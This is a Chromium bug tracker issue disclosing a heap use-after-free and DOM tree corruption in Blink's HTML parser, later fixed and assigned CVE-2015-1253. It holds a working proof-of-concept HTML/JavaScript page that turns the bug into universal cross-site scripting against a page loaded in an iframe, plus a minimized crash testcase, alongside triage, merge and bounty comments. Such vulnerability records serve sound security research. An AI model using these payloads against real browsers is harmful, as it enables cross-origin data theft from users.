New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Email to this user bounced
Closed: Mar 2015
Cc:
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: 1
Type: Bug-Security



Sign in to add a comment
link

Issue 464552: Heap-use-after-free in blink::ContainerNode::attach

Reported by serg.gla...@gmail.com, Mar 5 2015

Issue description

VULNERABILITY DETAILS
The HTML parser calls |parserRemoveChild| and |parserAppendChild| consecutively to perform reparenting
of a node.
src/third_party/WebKit/Source/core/html/parser/HTMLConstructionSite.cpp:149:
static inline void executeReparentTask(HTMLConstructionSiteTask& task)
{
    ASSERT(task.operation == HTMLConstructionSiteTask::Reparent);

    if (ContainerNode* parent = task.child->parentNode())
        parent->parserRemoveChild(*task.child);

    task.parent->parserAppendChild(task.child);
}

|childrenChanged| is called at the end of |parserRemoveChild| and |HTMLScriptElement::childrenChanged|
may cause execution of user-supplied JavaScript which inserts the child node back into the parent.
Later |parserAppendChild| won't check if the child node has a parent leaving the DOM tree in a state
where a node belongs to two different subtrees.

It's also possible to turn the tree corruption into a UXSS using the technique similar to the one
described in bug 456518 - an attacker loads the victim page in an iframe, sets the iframe's src to a 
javascript: uri and forces the parser to insert the iframe into document for the second time as a part
of another subtree.

VERSION
Google Chrome 43.0.2323.0 canary
Google Chrome 41.0.2272.76
OS: Windows 7 x64

REPRODUCTION CASE
<body>
	<script type="foo">
		s.appendChild(p)
	</script>
	<b>
		<p>
			<script>
			 p = document.querySelector("p");
			 s = document.querySelector("script");
			 s.appendChild(p);
			 s.type = "";
			 </script>
		</b>
	</p>
	<script>
		frame = document.body.appendChild(document.createElement("iframe"));
		frame.contentWindow.location = "https://www.google.com/intl/en/ads/?fg=1";
		frame.onload = function() {
			frame.onload = null;
			frame.src = "javascript:alert(document.body.innerHTML)";

			helper = document.body.appendChild(document.createElement("iframe"));
			helper.srcdoc = "<b><p><script>(" + function() {
				pp = document.querySelector("p");
				pp.remove();
				pp.appendChild(top.s);
			} + "())</sc" + "ript></b></p>";
		};
	</script>
</body>

---

I would like to remain anonymous for this report.
 
poc_crash.html
482 bytes View Download
debug_data.txt
10.4 KB View Download
poc_uxss.html
794 bytes View Download

Comment 1 by infe...@chromium.org, Mar 5 2015

Labels: Restrict-View-SecurityEmbargo

Comment 2 by infe...@chromium.org, Mar 5 2015

Labels: reward-topanel Security_Impact-Stable Security_Severity-High

Comment 3 by ClusterFuzz, Mar 5 2015

Project Member
ClusterFuzz is analyzing your testcase. Chromium developers can follow the progress at https://cluster-fuzz.appspot.com/testcase?key=5489358283472896

Comment 4 by ClusterFuzz, Mar 5 2015

Project Member
Summary: Heap-use-after-free in blink::ContainerNode::attach (was: Security: DOM tree corruption in HTML parser)
Detailed report: https://cluster-fuzz.appspot.com/testcase?key=5489358283472896

Uploader: aarya@google.com
Job Type: Linux_asan_chrome_mp

Crash Type: Heap-use-after-free READ 4
Crash Address: 0x60f000011ac8
Crash State:
  blink::ContainerNode::attach
  blink::Element::attach
  blink::ContainerNode::attach
  

Minimized Testcase (0.41 Kb):
Download: https://cluster-fuzz.appspot.com/download/AMIfv961J173OwuBWxOttWod9gg9GBgRJtOqxOfvpQs7fHitnpiZtXXJ0SA2Eez3ZaCcJCzxkXmqmdMAJloQa8x7ZluhiV6mDivV_OVegKCFTmgx7ViyyyfL4NlvzeLiK8dMspSdvzwxLiYLlDDXwdCbtn5Y9_x_pA
<script type="foo">
		s.appendChild(p)
	</script>
	<b>
		<p>
			<script>
			 p = document.querySelector("p");
			 s = document.querySelector("script");
			 s.appendChild(p);
			 s.type = "";
			 </script>
		</b>
	</p>
	<script>
		p.parentNode.innerHTML = "";
		p = null;
		(gc = function() {
			for (var i = 0; i < 30000; ++i)
				var s = new String("AAAA" + Math.random());
		})();
		location.reload();
	</script>

Comment 5 by infe...@chromium.org, Mar 5 2015

Cc: kochi@chromium.org tkent@chromium.org
Owner: morrita@chromium.org
Status: Assigned
Hajime, this looks crazy bad and exploitable (also look to exist from start of time). Can you please take a look or help with an owner.

Comment 6 by morrita@chromium.org, Mar 9 2015

Status: Started

Comment 7 by ClusterFuzz, Mar 10 2015

Project Member
Labels: M-41 Pri-1

Comment 9 by aarya@google.com, Mar 13 2015

Status: Fixed
Thanks!

Comment 10 by ClusterFuzz, Mar 13 2015

Project Member
Labels: -Restrict-View-SecurityTeam M-42 Merge-Triage Restrict-View-SecurityNotify
Adding Merge-Triage label for tracking purposes.

Once your fix had sufficient bake time (on canary, dev as appropriate), please nominate your fix for merge by adding the Merge-Requested label.

When your merge is approved by the release manager, please start merging with higher milestone label first. Make sure to re-request merge for every milestone in the label list. You can get branch information on omahaproxy.appspot.com.

- Your friendly ClusterFuzz

Comment 11 by ClusterFuzz, Mar 14 2015

Project Member
ClusterFuzz has detected this issue as fixed in range 320284:320470.

Detailed report: https://cluster-fuzz.appspot.com/testcase?key=5489358283472896

Uploader: aarya@google.com
Job Type: Linux_asan_chrome_mp

Crash Type: Heap-use-after-free READ 4
Crash Address: 0x60f000011ac8
Crash State:
  blink::ContainerNode::attach
  blink::Element::attach
  blink::ContainerNode::attach
  
Fixed: https://cluster-fuzz.appspot.com/revisions?job=linux_asan_chrome_mp&range=320284:320470

Minimized Testcase (0.41 Kb):
Download: https://cluster-fuzz.appspot.com/download/AMIfv961J173OwuBWxOttWod9gg9GBgRJtOqxOfvpQs7fHitnpiZtXXJ0SA2Eez3ZaCcJCzxkXmqmdMAJloQa8x7ZluhiV6mDivV_OVegKCFTmgx7ViyyyfL4NlvzeLiK8dMspSdvzwxLiYLlDDXwdCbtn5Y9_x_pA
<script type="foo">
		s.appendChild(p)
	</script>
	<b>
		<p>
			<script>
			 p = document.querySelector("p");
			 s = document.querySelector("script");
			 s.appendChild(p);
			 s.type = "";
			 </script>
		</b>
	</p>
	<script>
		p.parentNode.innerHTML = "";
		p = null;
		(gc = function() {
			for (var i = 0; i < 30000; ++i)
				var s = new String("AAAA" + Math.random());
		})();
		location.reload();
	</script>

If you suspect that the result above is incorrect, try re-doing that job on the testcase report page.

Comment 12 by timwillis@google.com, Apr 8 2015

Cc: timwillis@chromium.org
Labels: -M-41 -Merge-Triage Merge-Requested
Merge-Requested to M42 - branch 2311 

(noting that this request is after the stable candidate qualification, so may not go out with first M42 unless there's a respin)

Comment 13 by laforge@google.com, Apr 8 2015

Labels: -Merge-Requested Merge-Review Hotlist-Merge-Review
[Automated comment] No bugdroid (commit) comments found, couldn't auto-approve, needs manual review.

Comment 14 by amineer@chromium.org, Apr 8 2015

Labels: -Merge-Review Merge-Approved
merge approved for m42 branch 2311

Comment 15 by hablich@chromium.org, Apr 9 2015

Cc: haraken@chromium.org

Comment 16 by timwillis@google.com, Apr 9 2015

@haraken - can you please land this change to 2311 when you're next in the office? Thanks.

Comment 17 by haraken@chromium.org, Apr 9 2015

I think I merged the CL into 2311 in r193433.

Comment 18 by infe...@chromium.org, Apr 20 2015

Cc: caseq@chromium.org

Comment 19 by timwillis@google.com, May 12 2015

Labels: -Merge-Approved Merge-Merged

Comment 20 by timwillis@google.com, May 16 2015

Labels: Release-0-M43

Comment 21 by timwillis@google.com, May 28 2015

Labels: -reward-topanel reward-7500 CVE-2015-1253 reward-unpaid
Hey Serg, $7500 for this report. Congrats!

Reward panel notes: "Full renderer exploit - we'll mention in M43 release notes"

Comment 22 by ClusterFuzz, Jun 19 2015

Project Member
Labels: -Restrict-View-SecurityNotify
Bulk update: removing view restriction from closed bugs.

Comment 23 by timwillis@google.com, Jun 25 2015

Labels: -reward-unpaid reward-inprocess

Comment 24 by timwillis@google.com, Jul 24 2015

Labels: -reward-inprocess
Processing via our e-payment system can take up to two weeks, but the reward should be on its way to you. Thanks again for your help!

(Note: sorry for the delay here - it turns out in the new payment system, these payments were waiting for a second approval from me).

Comment 25 by awhalley@chromium.org, Apr 25 2018

Labels: CVE_description-submitted

Comment 26 by awhalley@google.com, Yesterday (28 hours ago)

Labels: -Restrict-View-SecurityEmbargo allpublic

Sign in to add a comment